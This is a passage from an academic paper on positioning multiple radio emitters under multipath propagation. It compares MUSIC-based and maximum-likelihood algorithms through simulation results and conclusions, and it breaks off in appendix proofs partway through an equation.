We compare the performances of the following MUSIC algorithms:SSP-MUSIC: Signal Subspace Projection MUSIC proposed in \[[@B18-sensors-18-00892]\],NSP-MUSIC: Noise Subspace Projection MUSIC without non-negative and real constraints,MP-MUSIC-IPA: Noise subspace projection MUSIC with real and non-negative constraints in the multipath propagation scenario and solved by the Interior Point Algorithm,MP-MUSIC-ASA: Noise subspace projection MUSIC with real and non-negative constraints in the multipath propagation scenario and solved by the Active Set Algorithm.
### 5.2.1. SSP-MUSIC and NSP-MUSIC in a Single Path Propagation Positioning Scenario {#sec5dot2dot1-sensors-18-00892}
The single emitter is placed at \[0,0\] (km), and only the direct paths are taken into consideration. [Figure 4](#sensors-18-00892-f004){ref-type="fig"} gives the spatial spectrum in a single path propagation positioning scenario (Actually, the spatial spectrum of a 3D positioning is a 3D spectrum, but in order to show the form of spatial spectrum more intuitively, the spatial spectrum displayed in this paper only gives a horizontal slice of the 3D spatial spectrum at the real *Z* value (where $z = 0$)).
We find the peak in the spatial spectrum of SSP-MUSIC ([Figure 4](#sensors-18-00892-f004){ref-type="fig"}a), but the NSP-MUSIC proposed in this paper ([Figure 4](#sensors-18-00892-f004){ref-type="fig"}b) holds a sharper peak and more precise estimation than SSP-MUSIC in a single path positioning context.
The following simulations are designed to study the performance of those MUSIC methods in the presence of multi-path propagation.
### 5.2.2. SSP-MUSIC, NSP-MUSIC and MP-MUSIC in a Multi-Path Propagation Positioning {#sec5dot2dot2-sensors-18-00892}
We design four numerical simulations in this section. The simulation parameters are set as in [Table 1](#sensors-18-00892-t001){ref-type="table"}, where *R* is the radius of the UCA, $\lambda$ and *f* are the carrier wave length and frequency, *M* is the number of the antennas in a receiving array, *B* is the bandwidth of the source signals, *K* is the number of frequencies and *J* is the number of sections of a received signal.
Baseband signal positioning: [Figure 5](#sensors-18-00892-f005){ref-type="fig"} gives the spatial spectrum when $R \ll \lambda$. The emitter positions $\mathbf{p}_{\mathbf{e}}$ that make $\mathbf{E}\left( \mathbf{p}_{\mathbf{e}} \right)$ singular or nearly singular constitute the yellow hyperbolic curves in the SSP-MUSIC spectrum and the NSP-MUSIC spectrum. Neither SSP-MUSIC nor NSP-MUSIC find the emitters correctly when $R \ll \lambda$. We cannot find any peak in SSP-MUSIC. Three peaks are found in the spectrum of NSP-MUSIC, but they are disrupted by the hyperbolic curves. MP-MUSIC with real and non-negative constraints finds three sharp peaks correctly.
Two transponders are close: [Figure 6](#sensors-18-00892-f006){ref-type="fig"} gives the spatial spectrum when a transponder is close to the anther. The nearest distance of transponders is 20 km in the simulation. When two transponders are close, the array responses of the receiving array with respect to the two transponders are almost same. The yellow hyperbolic curves in the SSP-MUSIC and the NSP-MUSIC spectrum are the candidate positions, which make $\Gamma\left( k \right)$ singular. SSP-MUSIC and NSP-MUSIC failed to locate the emitters in this context, but MP-MUSIC gets the emitter positions correctly.
Single antenna of each receiving station: [Figure 7](#sensors-18-00892-f007){ref-type="fig"} gives the spatial spectrum when $M = 1$. The array responders are defined as $\mathbf{a}_{\ell n}\left( k \right) = 1$, and an SMC will make $\Gamma\left( k \right)$ singular.
General scenario: [Figure 8](#sensors-18-00892-f008){ref-type="fig"} gives the spatial spectrum of a general parameter setting scenario. Although there is no deliberate construction of conditions that leads to $\Gamma\left( k \right)$ singularity in the general scenario, SSP-MUSIC and NSP-MUSIC still cannot obtain the emitter positions. However, MP-MUSIC obtains the three emitter locations accurately.
### 5.2.3. Performances of MP-MUSIC-ASA and MP-MUSIC-IPA {#sec5dot2dot3-sensors-18-00892}
We down convert the radio frequency signals to baseband signals firstly to avoid the multiple peak searching of the radio frequency signal positioning. The simulation parameters are set as in [Table 2](#sensors-18-00892-t002){ref-type="table"}.
The RMSE of MP-MUSIC-ASA, MP-MUSIC-IPA and the CRLB are given in [Figure 9](#sensors-18-00892-f009){ref-type="fig"}.
Since ASA could find the global optimal solution, the performance of MP-MUSIC-ASA should be no worse than that of MP-MUSIC-IPA. The numerical simulation results show that both MP-MUSIC-ASA and MP-MUSIC-IPA find the global optimal solution and have the same RMSE because of the convexity of the cost function.
Simulations are done on a server with Intel Xeon CPU E5-2630 v4, 16 G memory, and Matlab2016a. The MATLAB function "lsqlin" is adopted to verify the performance of IPA. We repeat the simulation 1000 times to get the distribution of the time-consumption of the ASA and IPA sections. It is assumed that the time consumptions $t_{ASA}$ and $t_{IPA}$ follow normal distributions, and $t_{ASA}{\sim N\left( 5.8175 \times \right.}10^{- 5}$, $4.8311 \times 10^{- 6})$, $t_{IPA} \sim N\left( 3.4756 \times 10^{- 3},2.2225 \times 10^{- 5} \right)$ (seconds).
Benefiting from the convex properties and a reasonable initial value of $\mathbf{\alpha}$ in ASA, ASA consumes only 1.67% more time than IPA and has a more stable time consumption than IPA (It should be noticed that the time consumption of MP-MUSIC-ASA will be determined by the path attenuations and SNR. A low SNR and small $\alpha_{\ell n}$ make the constraint $\alpha_{\ell n} \geq 0$ an active constraint ($\alpha_{\ell n} = 0$.). The time consumption of MP-MUSIC-ASA is deeply affected by the number of elements in the active set.
5.3. The Performance of MP-ML and MP-MUSIC {#sec5dot3-sensors-18-00892}
------------------------------------------
We compare the performances of MP-ML and MP-MUSIC in cases of different numbers of snapshots.
### 5.3.1. Insufficient Snapshots {#sec5dot3dot1-sensors-18-00892}
If the number of snapshots is insufficient, we cannot obtain a reliable covariance matrix estimation of observations, and MP-MUSIC will fail to get the emitter positions. The simulation parameters are set as in [Table 3](#sensors-18-00892-t003){ref-type="table"}.
The performances of MP-MUSIC and MP-ML with 32 snapshots (16 frequencies) are compared in [Figure 10](#sensors-18-00892-f010){ref-type="fig"}.
Only 32 snapshots of each receiver are taken for positioning. Thirty two snapshots are not divided into sections to estimate the covariance matrix in NSP-MUSIC (that is $K = 16,J = 1$). The RMSE of NSP-MUSIC cannot be reduced further with the increasing of SNR because of the error of the covariance matrix estimation. The MP-ML obtains a better performance than the MP-MUSIC in the sense of insufficient snapshots.
### 5.3.2. Performances of Different *K* and *J* Combinations {#sec5dot3dot2-sensors-18-00892}
We discuss the performances of MP-MUSIC with different *K* and *J* combinations in [Figure 11](#sensors-18-00892-f011){ref-type="fig"}. The total number of snapshots in the simulations is 256 ($K \cdot J = 128$). The other parameters are set as in [Table 4](#sensors-18-00892-t004){ref-type="table"}.
[Figure 11](#sensors-18-00892-f011){ref-type="fig"} gives the performances of MP-MUSIC with different combinations of *J* and *K*. The number of the snapshots used in the simulation is 256. MP-ML establishes a maximum likelihood function of the 256 snapshots to estimate the emitter positions together, and it has a better performance than MP-MUSIC.
The performances of MP-MUSIC methods are effected by the error of covariance estimations and the bandwidth. A smaller *J* leads to a larger error of the covariance estimation; in addition, a smaller *K* leads to a smaller number of observation equations.
### 5.3.3. The Performances of Different Numbers of Snapshots {#sec5dot3dot3-sensors-18-00892}
We compare the performances of the MP-MUSIC and the MP-ML with different numbers of snapshots in [Figure 12](#sensors-18-00892-f012){ref-type="fig"} (The CRLB derived in the Appendix shows that the CRLB is determined by the signal snapshots. The CRLB in [Figure 12](#sensors-18-00892-f012){ref-type="fig"} is the average of 100 simulations with random signal snapshots.). The other parameters are set as in [Table 5](#sensors-18-00892-t005){ref-type="table"}.
The performances of MP-MUSIC and MP-ML with $K \cdot J = 2^{i}$, $\left( i = 4,5,\cdots,13 \right)$ are studied in this section. Since the performance of MP-MUSIC is determined by the combination of *K* and *J*, we choose the best combination of $K,J$ in the MP-MUSIC simulation. As the number of snapshots increases, the RMSE decreases gradually in [Figure 12](#sensors-18-00892-f012){ref-type="fig"}. If the number of snapshots is abundant ($K \cdot J > 1024$), both MP-MUSIC and MP-ML are close to the CRLB. If the number of snapshots is insufficient ($K \cdot J < 256$), the performance of MP-MUSIC will suffer a serious deterioration. However, MP-ML is much less affected by the insufficient snapshots.
### 5.3.4. Time Consumptions of MP-MUSIC and MP-ML {#sec5dot3dot4-sensors-18-00892}
MP-MUSIC computes the cost values of the candidate one by one to obtain the spatial spectrum; while MP-ML computes the likelihood function of all combinations of *d* emitters. MP-ML consumes more time to obtain the emitter positions than MP-MUSIC. We compare the time consumptions and the corresponding performances of MP-MUSIC and MP-ML with different *d*. The simulation parameters are set as in [Table 6](#sensors-18-00892-t006){ref-type="table"}, and the simulation results are given in [Figure 13](#sensors-18-00892-f013){ref-type="fig"}.
The layout of transponders and receiving arrays are defined as in [Figure 3](#sensors-18-00892-f003){ref-type="fig"}a, and the four emitters are placed at $\lbrack 0,0,0\rbrack,\lbrack 50,0,0\rbrack,\lbrack 0,50,0\rbrack,\lbrack 50,50,0\rbrack$ (km). We choose *d* emitters in four random placements to analyze the time consumptions of MP-MUSIC and MP-ML with different *d*. We perform 100 simulation runs to gather enough statistics.
In [Figure 13](#sensors-18-00892-f013){ref-type="fig"}a, because MP-MUSIC calculates the cost function value of each candidate one by one, while MP-ML computes all combinations of *d* emitters, the time consumption of MP-MUSIC is almost independent of *d*, and MP-ML increases exponentially with *d*. The time consumption of MP-MUSIC is mainly determined by *K* rather than the number of snapshots (the two red lines in [Figure 13](#sensors-18-00892-f013){ref-type="fig"}a, which represent MP-MUSIC ($K = 16,J = 8$) and MP-MUSIC ($K = 16,J = 1$), are almost coincident), because the dimension of the matrix in the cost function is determined by *K*, and it is independent of *J*. Besides, the time consumption of MP-ML is determined by the number of snapshots ($KJ = 128$ costs much more time than $KJ = 16$).
[Figure 13](#sensors-18-00892-f013){ref-type="fig"}b presents the performances corresponding to [Figure 13](#sensors-18-00892-f013){ref-type="fig"}a. When the snapshots are sufficient ($KJ = 128$), the positioning accuracy improvement of MP-ML is not significant compared to MP-MUSIC, but it costs much more time to obtain the positions. In this case, applying MP-MUSIC to get emitter positions is a wise choice. When the snapshots are insufficient ($JK = 16$), MP-ML obtains a better performance than MP-MUSIC, although MP-ML costs much more time to get the results. It is worth much more time to obtain a much better performance when the snapshots are insufficient.
Benefiting from a good initial value of MP-MUSIC and an efficient searching strategy (steepest descent method), the time consumption of MP-ML is acceptable when the snapshots are insufficient. The time consumption of ASA in MP-MUSIC is determined by the a priori information of the initial active set $\mathcal{W}$, and it can be derived with some other techniques, e.g., direction finding. MP-ML costs much more time than MP-MUSIC, especially in the the case of a large number of emitters. Fortunately, MP-MUSIC, which is adopted to obtain an initial value of MP-ML, provides "not bad" solutions quickly, and the iterative algorithm continues outputting better and better solutions (see [Figure 14](#sensors-18-00892-f014){ref-type="fig"}).
The simulation parameters are set the same as the second row in [Table 6](#sensors-18-00892-t006){ref-type="table"}, and $d = 3$. MP-ML does not output the result until $T_{0}$, because MP-MUSIC is running from zero to $T_{0}$ to obtain the initial solution of MP-ML. The RMSE of MP-ML is monotone decreasing and continuous for the output results. In real applications, we can find a trade-off between the time consumption and positioning accuracy to obtain an acceptable solution.
5.4. Performance of SGP and MP-ML {#sec5dot4-sensors-18-00892}
---------------------------------
Single Platform Geolocation (SPG) mentioned in \[[@B28-sensors-18-00892]\] used only one platform to position the single emitter; while MP-ML uses multiple receiving arrays and locates multiple emitters simultaneously.
### 5.4.1. SPG and MP-ML with a Single Emitter {#sec5dot4dot1-sensors-18-00892}
Assume that there is only one emitter ($D = 1$, $\mathbf{p}_{e} = {\lbrack 0,0,0\rbrack}^{T}$km) in the RoI. [Figure 15](#sensors-18-00892-f015){ref-type="fig"} compares the performance of SPG and that of MP-ML with different numbers of receivers. The other parameters are set as in [Table 7](#sensors-18-00892-t007){ref-type="table"}.
We compare the performances of MP-ML with *N* receivers, $N = 1,2,3,4$, and give the corresponding CRLB, as well. When $D = 1$ and $N = 1$, MP-ML degenerates into SPG. The RMSE of *N* receivers is obtained from the average of the RMSE of all combinations of *N* receivers in four positions, and the positions of the four receiving stations are defined as Layout A. The simulation demonstrates that the performance is significantly improved as the number of receiving stations increases. The program with four receiving stations gains nearly a $10^{5}$ performance improvement compared to SPG.
### 5.4.2. Performance of Positioning Multiple Emitters {#sec5dot4dot2-sensors-18-00892}
MP-ML has the ability of positioning multiple emitters synchronously. We analyze the performances of different numbers of emitters in this section.
We place four emitters in the RoI. Emitters are placed at $\lbrack 0,0,0\rbrack,\lbrack 50,0,0\rbrack,\lbrack 0,50,0\rbrack,\lbrack 50,50,0\rbrack$ and $\lbrack 25,25,0\rbrack$ (km). We layout four transponders and four receiving arrays as in [Figure 3](#sensors-18-00892-f003){ref-type="fig"}a. The RMSE of *D* emitters, where $D = 1,2,3,4,5$, is obtained from the average of the RMSE of all combinations of *D* emitters in five positions. The RMSEs and CRLBs of different *D* are displayed in [Figure 16](#sensors-18-00892-f016){ref-type="fig"}. The other parameters are set the same as in [Table 7](#sensors-18-00892-t007){ref-type="table"}.
[Figure 16](#sensors-18-00892-f016){ref-type="fig"} only gives the RMSEs and CRLBs when $D = 1,2,3,4$, since the RMSE turns out to be unstable and the CRLB turns out to be $+ \infty$ when $D = 5$. This can be explained by the algebra principle that the number of unknown emitters cannot be greater than the number of transponders.
The numerical simulations and CRLB results demonstrate that the performance of MP-ML is influenced by the number of emitters. If $D \ll L$, the number of emitters has only a slight effect on the performance of MP-ML, and if $D = L$, the performance will decline significantly. If $D > L$, MP-ML cannot find any emitter at all.
6. Conclusions {#sec6-sensors-18-00892}
==============
A novel geolocation architecture, termed "Multiple Transponders and Multiple Receivers for Multiple Emitters Positioning System (MTRE)" is proposed in this paper. A Direct Position Determination for Multi-path Propagation positioning (MP-DPD) model and a MUltiple SIgnal Classification algorithm for Multi-path Propagation positioning (MP-MUSIC) were proposed to position the emitters in an MTRE system. To optimize the cost function of the MP-MUSIC efficiently, we proved that the cost function of the MP-MUSIC was a linear and non-negative constrained quadratic convex programming. A algorithm named Active Set Algorithm (ASA) is designed to solve the quadratic convex programming further. Numerical results show that the MP-MUSIC with ASA locates multiple emitters precisely, but the Signal Subspace Projection MUSIC algorithm (SSP-MUSIC) does not. We compared the time consumptions of the Interior Point Algorithm (IPA) and the ASA, as well. ASA consumes only 1.67% more time than IPA.
In the case of time-sensitive positioning, the number of snapshots is not enough. The maximum likelihood estimation algorithm for Multi-path Propagation positioning (MP-ML) maximizes the likelihood function rather than calculating the covariance matrix of the observations to avoid the requirement of a large number of snapshots. We designed an iterative algorithm and proposed the strategy of choosing an initial solution to accelerate the solving of the programming. Numerical simulation results show that MP-ML can approach the Cramér--Rao Lower Bound (CRLB) relative to MP-MUSIC with the same data length, but MP-ML requires more computation time than the MP-MUSIC method.
Furthermore, we discussed the performances of MP-ML with different numbers of receiving arrays and emitters. SPG mentioned in \[[@B28-sensors-18-00892]\] is viewed as a degenerate version of MP-ML (where $D = 1$ and $N = 1$). The numerical results shows that it is worthwhile to increase the number of receiving stations in the sense of a weak signal, although MP-ML increases the hardware costs, communication overhead and computational complexity.
We compared the performances and time consumptions of MP-MUSIC and MP-ML by numerical simulations. MP-ML obtains a more precise position estimation than MP-MUSIC, and MP-MUSIC consumes less time than MP-ML. In a specific positioning application, we choose the appropriate method according to the number of snapshots, the precision requirement and the calculation ability.
MP-ML has the ability of positioning multiple emitters synchronously. If the number of emitters is far less than the number of transponders, the number of emitters has only a slight influence on the positioning performance. If the number of emitters is equal to the number of transponders, the performance will decline significantly. If the number of emitters is more than the number of transponders, MP-ML cannot find any emitter at all.
An MTRE system requires more receiving arrays, more transponders and more computing resources compared to a Single Geolocation Platform (SGP) or a Direction Finding System (DFS). However, an MTRE system can locate multiple emitters synchronously and provides a higher positioning accuracy than SGP and DFS. It is suitable for some cost-insensitive applications, such as military and national security applications.
This work was supposed by the National Natural Science Foundation of China (61201381 and 61401513), China Postdoctoral Science Foundation (2016M592989), the Outstanding Youth foundation of Information Engineering University (2016603201), and Self-topic Foundation of Information Engineering University (2016600701).
Jianping Du developed the program and mathematical model and wrote the paper. Ding Wang provided much useful advice and checked the paper. Wanting Yu worked on the data collection, experiments and data analyses. Hongyi Yu provided the initial idea of this research.
The authors declare no conflict of interest.
We discuss the conditions that make the manifold matrix singular in this section. Define the term of Singular Manifold Candidate (SMC) and Near Singular Manifold Candidate (NSMC) firstly.
Singular Manifold Candidate (SMC): In a multi-path positioning application, a candidate position $\mathbf{p}_{e}$ is named a singular manifold candidate if it satisfies $e^{- j\omega_{k}{\lbrack{\widetilde{\mathbf{\tau}}}_{\ell_{1}n} + {\overline{\tau}}_{\ell_{1}}{(\mathbf{p}_{e})}\rbrack}} = e^{- j\omega_{k}{\lbrack{\widetilde{\mathbf{\tau}}}_{\ell_{2}n} + {\overline{\tau}}_{\ell_{2}}{(\mathbf{p}_{e})}\rbrack}}$, $k = 1,2,\cdots,K$, where ${\widetilde{\mathbf{\tau}}}_{\ell_{i}n},i = 1,2$, is the propagation delays from the $\ell_{i}$-th transponder to the n-th receiving array and ${\overline{\tau}}_{\ell_{i}},i = 1,2$, is the propagation delay from the candidate position to the $\ell_{i}$-th transponder.
Center Singular Manifold Candidate (CSMC): In a multi-path positioning application, a candidate position $\mathbf{p}_{e}$ is named a singular manifold candidate, if it satisfies $e^{- j\omega_{k}{\lbrack{\widetilde{\tau}}_{\ell_{1}n} + {\overline{\tau}}_{\ell_{1}}{(\mathbf{p}_{e})}\rbrack}} = e^{- j\omega_{k}{\lbrack{\widetilde{\tau}}_{\ell_{2}n} + {\overline{\tau}}_{\ell_{2}}{(\mathbf{p}_{e})}\rbrack}}$, $k = 1,2,\cdots,K$, where ${\widetilde{\tau}}_{\ell_{i}n},i = 1,2$, is the propagation delay from the $\ell_{i}$-th transponder to the center of the n-th receiving array and ${\overline{\tau}}_{\ell_{i}},i = 1,2$, is the propagation delay from the candidate position to the $\ell_{i}$-th transponder.
The difference of an SMC and a CSMC is that all the antennas satisfy the equation for an SMC, but only the centers of the array satisfy the equation for a CSMC.
*If $\mathbf{p}_{e}$ is a CSMC, there are at least two paths from $\mathbf{p}_{e}$ to a receiving array, which satisfy:* $${\widetilde{D}}_{\ell_{1,2}n}\left( \mathbf{p}_{e} \right) = z\lambda,z = 0,1,2,\cdots,$$ *where n is the receiving array index, $\ell_{1}$ and $\ell_{2}$ are the indexes of two transponders in two paths, ${\widetilde{D}}_{\ell_{1,2}n}{\triangleq \parallel}\mathbf{p}_{e} - \mathbf{p}_{t}\left( \ell_{1} \right) \parallel_{F}{+ \parallel}\mathbf{p}_{r}\left( n \right) - \mathbf{p}_{t}\left( \ell_{1} \right) \parallel_{F}{- \parallel}\mathbf{p}_{e} - \mathbf{p}_{t}\left( \ell_{2} \right) \parallel_{F} - {\parallel \mathbf{p}_{r}\left( n \right) - \mathbf{p}_{t}\left( \ell_{2} \right) \parallel}_{F}$ is the difference between the two path lengths, $\mathbf{p}_{r}\left( n \right)$ is the center of the n-th receiving array, z is an integer, λ is the Least Common Multiple (LCM) of $\{\lambda_{1},\lambda_{2},\cdots,\lambda_{K}\}$ and $\lambda_{k}$ is the wave length of frequency $\omega_{k}$.*
Move the right item of the equation in the CSMC condition to the left: $$\begin{array}{l}
{e^{- j\omega_{k}{\{{{\lbrack{\widetilde{\tau}}_{\ell_{1}n} + {\overline{\tau}}_{\ell_{1}}{(\mathbf{p}_{e})}\rbrack} - {\lbrack{\widetilde{\tau}}_{\ell_{2}n} + {\overline{\tau}}_{\ell_{2}}{(\mathbf{p}_{e})}\rbrack}}\}}} = 1,} \\
\left. \Rightarrow e^{- j\frac{2\pi c}{\lambda_{k}}{\{{{\lbrack{\widetilde{\tau}}_{\ell_{1}n} + {\overline{\tau}}_{\ell_{1}}{(\mathbf{p}_{e})}\rbrack} - {\lbrack{\widetilde{\tau}}_{\ell_{2}n} + {\overline{\tau}}_{\ell_{2}}{(\mathbf{p}_{e})}\rbrack}}\}}} = 1, \right. \\
\left. \Rightarrow\frac{2\pi c}{\lambda_{k}}\left\{ {{\lbrack{\widetilde{\tau}}_{\ell_{1}n} + {\overline{\tau}}_{\ell_{1}}\left( \mathbf{p}_{e} \right)\rbrack} - {\lbrack{\widetilde{\tau}}_{\ell_{2}n} + {\overline{\tau}}_{\ell_{2}}\left( \mathbf{p}_{e} \right)\rbrack}} \right\}\mspace{600mu}{mod}\; 2\pi = 0, \right. \\
\left. \Rightarrow\frac{{\widetilde{D}}_{\ell_{1,2}n}\left( \mathbf{p}_{e} \right)}{\lambda_{k}} \in \mathbb{Z},k = 1,2,\cdots,K, \right. \\
\left. \Rightarrow{\widetilde{D}}_{\ell_{1,2}n}\left( \mathbf{p}_{e} \right) = z\lambda,z = 0,1,2,\cdots, \right. \\
\end{array}$$ where $\lambda_{k} = \frac{2\pi c}{\omega_{k}}$ is the wave length of frequency $\omega_{k}$, $c = 3.0 \times 10^{8}$ m/s is the light speed constant, ${\widetilde{D}}_{\ell_{1,2}n}{\triangleq \parallel}\mathbf{p}_{e} - \mathbf{p}_{t}\left( \ell_{1} \right) \parallel_{F}{+ \parallel}\mathbf{p}_{r}\left( n \right) - \mathbf{p}_{t}\left( \ell_{1} \right) \parallel_{F}{- \parallel}\mathbf{p}_{e} - \mathbf{p}_{t}\left( \ell_{2} \right) \parallel_{F} - {\parallel \mathbf{p}_{r}\left( n \right) - \mathbf{p}_{t}\left( \ell_{2} \right) \parallel}_{F}$ is the difference between the two path lengths, $\mathbf{p}_{r}\left( n \right)$ is the center of the *n* th receiver and $\mathbb{Z}$ is the integer set. Denote $\lambda$ as the Least Common Multiple (LCM) of $\{\lambda_{1},\lambda_{2},\cdots,\lambda_{K}\}$. ☐
In particular, we set $z = 0$ and obtain ${\widetilde{D}}_{d\ell_{1,2}n} = 0$ (see [Figure A1](#sensors-18-00892-f0A1){ref-type="fig"}) (in fact, $\mathbf{p}_{e}\left( d \right)$ on the hyperbolic satisfies ${\widetilde{\tau}}_{\ell_{1}n} + {\overline{\tau}}_{\ell_{1}} = {\widetilde{\tau}}_{\ell_{2}n} + {\overline{\tau}}_{\ell_{2}}$).
{#sensors-18-00892-f0A1}
If $\mathbf{p}_{e}$ is a CSMC and $\mathbf{a}_{\ell_{1}n}\left( k \right) \approx \mathbf{a}_{\ell_{2}n}\left( k \right),k = 1,2,\ldots,K$, the candidate emitter position $\mathbf{p}_{e}$ makes the manifold matrix near singular.
In a multi-path positioning model, $\Gamma\left( k \right)$ in ([16](#FD16-sensors-18-00892){ref-type="disp-formula"}) is defined as: $$\Gamma\left( k \right) \triangleq \widetilde{\mathbf{A}}\left( k \right)\mathbf{V}\left( k \right),$$ where $\Gamma\left( k \right)$ is a block diagonal matrix: $$\Gamma\left( k \right) = \begin{bmatrix}
{\Gamma_{1}\left( k \right)} & 0 & \cdots & 0 \\
0 & {\Gamma_{2}\left( k \right)} & \cdots & 0 \\
\vdots & \vdots & \ddots & \vdots \\
0 & 0 & \cdots & {\Gamma_{N}\left( k \right)} \\
\end{bmatrix}_{MN \times LN}$$
The *n*-th block $\Gamma_{n}\left( k \right)$ in the diagonal is a matrix with a size of $M \times L$. The *ℓ*-th column of $\Gamma_{n}\left( k \right)$ is defined as $e^{- i\omega_{k}{({\widetilde{\mathbf{\tau}}}_{\ell n} + {\overline{\tau}}_{\ell})}}$, where $\mathbf{\tau}_{\ell n}$ is an $M \times 1$ column vector representing the propagation delays from the *ℓ*-th transponder to the *M* antennas in the *n*-th receiving station. Notice that: $$e^{- i\omega_{k}{({\widetilde{\mathbf{\tau}}}_{\ell n} + {\overline{\tau}}_{\ell})}} = e^{- i\omega_{k}{({\widetilde{\mathbf{\tau}}}_{\ell n} - \tau_{\ell n} + \tau_{\ell n} + {\overline{\tau}}_{\ell})}} = e^{- i\omega_{k}{({\widetilde{\mathbf{\tau}}}_{\ell n} - \tau_{\ell n})}}e^{- i\omega_{k}{(\tau_{\ell n} + {\overline{\tau}}_{\ell})}} \triangleq \mathbf{a}_{\ell n}\left( k \right)e^{- i\omega_{k}{(\tau_{\ell n} + {\overline{\tau}}_{\ell})}}$$ where $\tau_{\ell n}$ is the propagation delay from the *ℓ*-th transponder to the center of the *n*-th receiving array and $\mathbf{a}_{\ell n}\left( k \right) = e^{- i\omega_{k}{({\widetilde{\mathbf{\tau}}}_{\ell n} - \tau_{\ell n})}}$ represents the array response of the *n*-th receiving station from the *ℓ*-th transponder.
If $\mathbf{p}_{e}$ is a CSMC that satisfies ${\widetilde{D}}_{\ell_{1,2}n} = z\lambda$ and $\mathbf{a}_{\ell_{1}n}\left( k \right) \approx \mathbf{a}_{\ell_{2}n}\left( k \right)$, we get that $e^{- i\omega_{k}{({\widetilde{\mathbf{\tau}}}_{\ell_{1}n} + {\overline{\tau}}_{\ell_{1}})}} \approx e^{- i\omega_{k}{({\widetilde{\mathbf{\tau}}}_{\ell_{2}n} + {\overline{\tau}}_{\ell_{2}})}}$ from ([A5](#FD60-sensors-18-00892){ref-type="disp-formula"}). In this case, the $\ell_{1}$-th column of matrix $\Gamma_{n}\left( k \right)$ is approximately equal to the $\ell_{2}$-th column. Because there are two columns in the matrix $\Gamma\left( k \right)$ that are almost equal, $\Gamma\left( k \right)$ is a near singular matrix. ☐
The proof of Theorem 2:
Denote a specific value of $\mathbf{\alpha}$ by $\mathbf{\alpha}_{i}$. $\overline{\mathbf{f}}\left( k \right)$ and $\overline{\mathbf{C}}\left( k \right)$ are vectors with real values. The following inequality is always true, $$\parallel \overline{\mathbf{f}}\left( k \right)^{T}\mathbf{\alpha}{\lbrack\mathbf{\alpha}^{T}\overline{\mathbf{C}}\left( k \right)\mathbf{\alpha}\rbrack}^{- \frac{1}{2}} - \overline{\mathbf{f}}\left( k \right)^{T}\mathbf{\alpha}_{i}{\lbrack\mathbf{\alpha}_{i}^{T}\overline{\mathbf{C}}\left( k \right)\mathbf{\alpha}_{i}\rbrack}^{- 1}{\lbrack\mathbf{\alpha}^{T}\overline{\mathbf{C}}\left( k \right)\mathbf{\alpha}\rbrack}^{\frac{1}{2}} \parallel_{F}^{2} \geq 0.$$
After expanding the expression in ([A6](#FD61-sensors-18-00892){ref-type="disp-formula"}) and re-arranging the terms, $$\begin{array}{cl}
{\overline{\mathbf{f}}\left( k \right)^{T}\mathbf{\alpha}{\lbrack\mathbf{\alpha}^{T}\overline{\mathbf{C}}\left( k \right)\mathbf{\alpha}\rbrack}^{- 1}\mathbf{\alpha}^{T}\overline{\mathbf{f}}\left( k \right) \geq} & {2\{\overline{\mathbf{f}}\left( k \right)^{T}\mathbf{\alpha}{\lbrack\mathbf{\alpha}_{i}^{T}\overline{\mathbf{C}}\left( k \right)\mathbf{\alpha}_{i}\rbrack}^{- T}\mathbf{\alpha}_{i}^{T}\overline{\mathbf{f}}\left( k \right)\}} \\
& {- \overline{\mathbf{f}}\left( k \right)^{T}\mathbf{\alpha}_{i}{\lbrack\mathbf{\alpha}_{i}^{T}\overline{\mathbf{C}}\left( k \right)\mathbf{\alpha}_{i}\rbrack}^{- 1}\left. \lbrack\mathbf{\alpha}^{T}\overline{\mathbf{C}}\left( k \right)\mathbf{\alpha} \right)\left( \mathbf{\alpha}_{i}^{T}\overline{\mathbf{C}}\left( k \right)\mathbf{\alpha}_{i}\rbrack \right.^{- T}\mathbf{\alpha}_{i}^{T}\overline{\mathbf{f}}\left( k \right).} \\
\end{array}$$
Defining $\mathbf{w}\left( k \right) \triangleq \overline{\mathbf{f}}\left( k \right)^{T}\mathbf{\alpha}_{i}{\lbrack\mathbf{\alpha}_{i}^{T}\overline{\mathbf{C}}\left( k \right)\mathbf{\alpha}_{i}\rbrack}^{- 1}$, and summing (A7) over *k*, $$\begin{array}{cl}
{Q\left( \eta \right)} & {= H\left( \mathbf{\alpha} \right)} \\
& {= - \sum\limits_{k = 1}^{K}\overline{\mathbf{f}}\left( k \right)^{T}\mathbf{\alpha}{\lbrack\mathbf{\alpha}^{T}\overline{\mathbf{C}}\left( k \right)\mathbf{\alpha}\rbrack}^{- 1}\mathbf{\alpha}^{T}\overline{\mathbf{f}}\left( k \right)} \\
& {\leq - 2\sum\limits_{k = 1}^{K}{\{{\overline{\mathbf{f}}}^{T}\left( k \right)\mathbf{\alpha}\mathbf{w}^{T}\left( k \right)\}} + \sum\limits_{k = 1}^{K}\mathbf{w}\left( k \right){\lbrack\mathbf{\alpha}^{T}\overline{\mathbf{C}}\left( k \right)\mathbf{\alpha}\rbrack}\mathbf{w}^{T}\left( k \right).} \\
\end{array}$$
Notice that: $$\mathbf{w}\left( k \right)\mathbf{\alpha}^{T} = {\overline{\mathbf{\alpha}}}^{T}\mathbf{W}\left( k \right),$$ where $\overline{\mathbf{\alpha}}$ is defined in ([38](#FD38-sensors-18-00892){ref-type="disp-formula"}), and it is viewed as a reshaped form of the $\mathbf{\alpha}$. $\mathbf{\alpha}$ is defined in ([5](#FD5-sensors-18-00892){ref-type="disp-formula"}), and: $$\mathbf{W}\left( k \right) \triangleq \mathbf{I}_{N} \otimes {diag}{\{\mathbf{w}\left( k \right)\}} \otimes \mathbf{I}_{L},$$ where $\mathbf{I}_{L}$ is an identify matrix with a size of $L \times L$ and $\mathbf{I}_{N}$ is an identify matrix with a size of $N \times N$. Substitute ([A9](#FD64-sensors-18-00892){ref-type="disp-formula"}) into (A8): $$\begin{aligned}
{H\left( \overline{\mathbf{\alpha}} \right)} & {\leq - 2{\lbrack\sum\limits_{k = 1}^{K}{\overline{\mathbf{f}}}^{T}\left( k \right)\mathbf{W}^{T}\left( k \right)\rbrack}\overline{\mathbf{\alpha}} + {\overline{\mathbf{\alpha}}}^{T}{\lbrack\sum\limits_{k = 1}^{K}\mathbf{W}\left( k \right)\overline{\mathbf{C}}\left( k \right)\mathbf{W}^{T}\left( k \right)\rbrack}\overline{\mathbf{\alpha}}.} \\
\end{aligned}$$
The eigenvalue decomposition of the second item of the right part is denoted by: $$\begin{array}{cl}
{\sum\limits_{k = 1}^{K}\mathbf{W}\left( k \right)\overline{\mathbf{C}}\left( k \right)\mathbf{W}^{T}\left( k \right)} & {= {\overline{\mathbf{U}}}^{T}\Sigma\overline{\mathbf{U}}} \\
